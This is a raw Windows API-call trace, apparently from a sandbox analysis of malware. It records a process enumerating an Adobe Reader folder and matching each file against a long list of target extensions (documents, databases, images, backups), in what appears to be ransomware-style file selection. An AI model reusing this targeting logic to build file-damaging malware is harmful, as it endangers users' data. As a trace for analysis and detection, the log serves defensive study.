[0273.655] lstrlenW (lpString=".asa") returned 4 [0273.655] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".asc") returned 4 [0273.655] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".ascx") returned 5 [0273.655] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.655] lstrlenW (lpString=".asm") returned 4 [0273.655] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".asmx") returned 5 [0273.655] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.655] lstrlenW (lpString=".asp") returned 4 [0273.655] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".aspx") returned 5 [0273.655] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.655] lstrlenW (lpString=".asr") returned 4 [0273.655] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".asx") returned 4 [0273.655] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".avi") returned 4 [0273.655] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".avs") returned 4 [0273.655] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".backup") returned 7 [0273.655] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.655] lstrlenW (lpString=".bak") returned 4 [0273.655] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.655] lstrlenW (lpString=".bay") returned 4 [0273.656] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".bd") returned 3 [0273.656] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.656] lstrlenW (lpString=".bin") returned 4 [0273.656] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".bmp") returned 4 [0273.656] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".bz2") returned 4 [0273.656] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".c") returned 2 [0273.656] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.656] lstrlenW (lpString=".cdr") returned 4 [0273.656] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".cer") returned 4 [0273.656] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".cf") returned 3 [0273.656] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.656] lstrlenW (lpString=".cfc") returned 4 [0273.656] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".cfm") returned 4 [0273.656] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".cfml") returned 5 [0273.656] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.656] lstrlenW (lpString=".cfu") returned 4 [0273.656] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".chm") returned 4 [0273.656] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".cin") returned 4 [0273.656] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.656] lstrlenW (lpString=".class") returned 6 [0273.657] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.657] lstrlenW (lpString=".clx") returned 4 [0273.657] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".config") returned 7 [0273.657] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.657] lstrlenW (lpString=".cpp") returned 4 [0273.657] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".cr2") returned 4 [0273.657] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".crt") returned 4 [0273.657] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".crw") returned 4 [0273.657] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".cs") returned 3 [0273.657] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.657] lstrlenW (lpString=".css") returned 4 [0273.657] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".csv") returned 4 [0273.657] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".cub") returned 4 [0273.657] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".dae") returned 4 [0273.657] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".dat") returned 4 [0273.657] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.657] lstrlenW (lpString=".db") returned 3 [0273.657] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.657] lstrlenW (lpString=".dbf") returned 4 [0273.658] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".dbx") returned 4 [0273.658] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".dc3") returned 4 [0273.658] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".dcm") returned 4 [0273.658] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".dcr") returned 4 [0273.658] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".der") returned 4 [0273.658] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".dib") returned 4 [0273.658] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".dic") returned 4 [0273.658] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".dif") returned 4 [0273.658] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".divx") returned 5 [0273.658] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.658] lstrlenW (lpString=".djvu") returned 5 [0273.658] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.658] lstrlenW (lpString=".dng") returned 4 [0273.658] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".doc") returned 4 [0273.658] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.658] lstrlenW (lpString=".docm") returned 5 [0273.658] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.658] lstrlenW (lpString=".docx") returned 5 [0273.658] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.658] lstrlenW (lpString=".dot") returned 4 [0273.658] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".dotm") returned 5 [0273.659] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.659] lstrlenW (lpString=".dotx") returned 5 [0273.659] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.659] lstrlenW (lpString=".dpx") returned 4 [0273.659] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".dqy") returned 4 [0273.659] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".dsn") returned 4 [0273.659] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".dt") returned 3 [0273.659] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.659] lstrlenW (lpString=".dtd") returned 4 [0273.659] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".dwg") returned 4 [0273.659] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".dwt") returned 4 [0273.659] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".dx") returned 3 [0273.659] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.659] lstrlenW (lpString=".dxf") returned 4 [0273.659] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".edml") returned 5 [0273.659] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.659] lstrlenW (lpString=".efd") returned 4 [0273.659] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".elf") returned 4 [0273.659] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.659] lstrlenW (lpString=".emf") returned 4 [0273.660] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.660] lstrlenW (lpString=".emz") returned 4 [0273.660] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.660] lstrlenW (lpString=".epf") returned 4 [0273.660] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.660] lstrlenW (lpString=".eps") returned 4 [0273.660] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.660] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.660] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0273.660] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0273.660] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0273.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0273.660] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk") returned 119 [0273.660] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0273.661] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.661] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0273.661] lstrlenW (lpString="ui-strings.js") returned 13 [0273.661] lstrlenW (lpString=".1cd") returned 4 [0273.661] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0273.661] lstrlenW (lpString=".3ds") returned 4 [0273.661] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0273.661] lstrlenW (lpString=".3fr") returned 4 [0273.661] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0273.661] lstrlenW (lpString=".3g2") returned 4 [0273.661] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0273.661] lstrlenW (lpString=".3gp") returned 4 [0273.661] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0273.661] lstrlenW (lpString=".7z") returned 3 [0273.661] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0273.661] lstrlenW (lpString=".accda") returned 6 [0273.661] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0273.661] lstrlenW (lpString=".accdb") returned 6 [0273.661] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0273.661] lstrlenW (lpString=".accdc") returned 6 [0273.661] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0273.661] lstrlenW (lpString=".accde") returned 6 [0273.662] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0273.662] lstrlenW (lpString=".accdt") returned 6 [0273.662] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0273.662] lstrlenW (lpString=".accdw") returned 6 [0273.662] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0273.662] lstrlenW (lpString=".adb") returned 4 [0273.662] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".adp") returned 4 [0273.662] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".ai") returned 3 [0273.662] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.662] lstrlenW (lpString=".ai3") returned 4 [0273.662] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".ai4") returned 4 [0273.662] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".ai5") returned 4 [0273.662] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".ai6") returned 4 [0273.662] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".ai7") returned 4 [0273.662] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".ai8") returned 4 [0273.662] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".anim") returned 5 [0273.662] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.662] lstrlenW (lpString=".arw") returned 4 [0273.662] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.662] lstrlenW (lpString=".as") returned 3 [0273.662] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.663] lstrlenW (lpString=".asa") returned 4 [0273.663] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".asc") returned 4 [0273.663] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".ascx") returned 5 [0273.663] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.663] lstrlenW (lpString=".asm") returned 4 [0273.663] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".asmx") returned 5 [0273.663] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.663] lstrlenW (lpString=".asp") returned 4 [0273.663] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".aspx") returned 5 [0273.663] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.663] lstrlenW (lpString=".asr") returned 4 [0273.663] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".asx") returned 4 [0273.663] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".avi") returned 4 [0273.663] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".avs") returned 4 [0273.663] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".backup") returned 7 [0273.663] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.663] lstrlenW (lpString=".bak") returned 4 [0273.663] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".bay") returned 4 [0273.663] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.663] lstrlenW (lpString=".bd") returned 3 [0273.664] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.664] lstrlenW (lpString=".bin") returned 4 [0273.664] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".bmp") returned 4 [0273.664] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".bz2") returned 4 [0273.664] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".c") returned 2 [0273.664] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.664] lstrlenW (lpString=".cdr") returned 4 [0273.664] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".cer") returned 4 [0273.664] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".cf") returned 3 [0273.664] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.664] lstrlenW (lpString=".cfc") returned 4 [0273.664] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".cfm") returned 4 [0273.664] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".cfml") returned 5 [0273.664] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.664] lstrlenW (lpString=".cfu") returned 4 [0273.664] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".chm") returned 4 [0273.664] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.664] lstrlenW (lpString=".cin") returned 4 [0273.664] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".class") returned 6 [0273.665] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.665] lstrlenW (lpString=".clx") returned 4 [0273.665] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".config") returned 7 [0273.665] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.665] lstrlenW (lpString=".cpp") returned 4 [0273.665] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".cr2") returned 4 [0273.665] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".crt") returned 4 [0273.665] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".crw") returned 4 [0273.665] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".cs") returned 3 [0273.665] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.665] lstrlenW (lpString=".css") returned 4 [0273.665] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".csv") returned 4 [0273.665] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".cub") returned 4 [0273.665] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".dae") returned 4 [0273.665] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".dat") returned 4 [0273.665] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.665] lstrlenW (lpString=".db") returned 3 [0273.665] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.665] lstrlenW (lpString=".dbf") returned 4 [0273.665] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".dbx") returned 4 [0273.666] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".dc3") returned 4 [0273.666] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".dcm") returned 4 [0273.666] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".dcr") returned 4 [0273.666] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".der") returned 4 [0273.666] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".dib") returned 4 [0273.666] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".dic") returned 4 [0273.666] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".dif") returned 4 [0273.666] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".divx") returned 5 [0273.666] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.666] lstrlenW (lpString=".djvu") returned 5 [0273.666] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.666] lstrlenW (lpString=".dng") returned 4 [0273.666] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".doc") returned 4 [0273.666] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.666] lstrlenW (lpString=".docm") returned 5 [0273.666] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.666] lstrlenW (lpString=".docx") returned 5 [0273.666] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.666] lstrlenW (lpString=".dot") returned 4 [0273.667] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".dotm") returned 5 [0273.667] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.667] lstrlenW (lpString=".dotx") returned 5 [0273.667] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.667] lstrlenW (lpString=".dpx") returned 4 [0273.667] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".dqy") returned 4 [0273.667] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".dsn") returned 4 [0273.667] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".dt") returned 3 [0273.667] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.667] lstrlenW (lpString=".dtd") returned 4 [0273.667] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".dwg") returned 4 [0273.667] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".dwt") returned 4 [0273.667] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".dx") returned 3 [0273.667] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.667] lstrlenW (lpString=".dxf") returned 4 [0273.667] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".edml") returned 5 [0273.667] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.667] lstrlenW (lpString=".efd") returned 4 [0273.667] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.667] lstrlenW (lpString=".elf") returned 4 [0273.667] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".emf") returned 4 [0273.668] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".emz") returned 4 [0273.668] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".epf") returned 4 [0273.668] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".eps") returned 4 [0273.668] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".epsf") returned 5 [0273.668] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0273.668] lstrlenW (lpString=".epsp") returned 5 [0273.668] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0273.668] lstrlenW (lpString=".erf") returned 4 [0273.668] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".exr") returned 4 [0273.668] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".f4v") returned 4 [0273.668] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".fido") returned 5 [0273.668] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0273.668] lstrlenW (lpString=".flm") returned 4 [0273.668] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".flv") returned 4 [0273.668] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".frm") returned 4 [0273.668] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".fxg") returned 4 [0273.668] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0273.668] lstrlenW (lpString=".geo") returned 4 [0273.668] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".gif") returned 4 [0273.669] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".grs") returned 4 [0273.669] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".gz") returned 3 [0273.669] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0273.669] lstrlenW (lpString=".h") returned 2 [0273.669] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0273.669] lstrlenW (lpString=".hdr") returned 4 [0273.669] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".hpp") returned 4 [0273.669] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".hta") returned 4 [0273.669] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".htc") returned 4 [0273.669] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".htm") returned 4 [0273.669] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".html") returned 5 [0273.669] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0273.669] lstrlenW (lpString=".icb") returned 4 [0273.669] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".ics") returned 4 [0273.669] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0273.669] lstrlenW (lpString=".iff") returned 4 [0273.670] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0273.670] lstrlenW (lpString=".inc") returned 4 [0273.670] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0273.670] 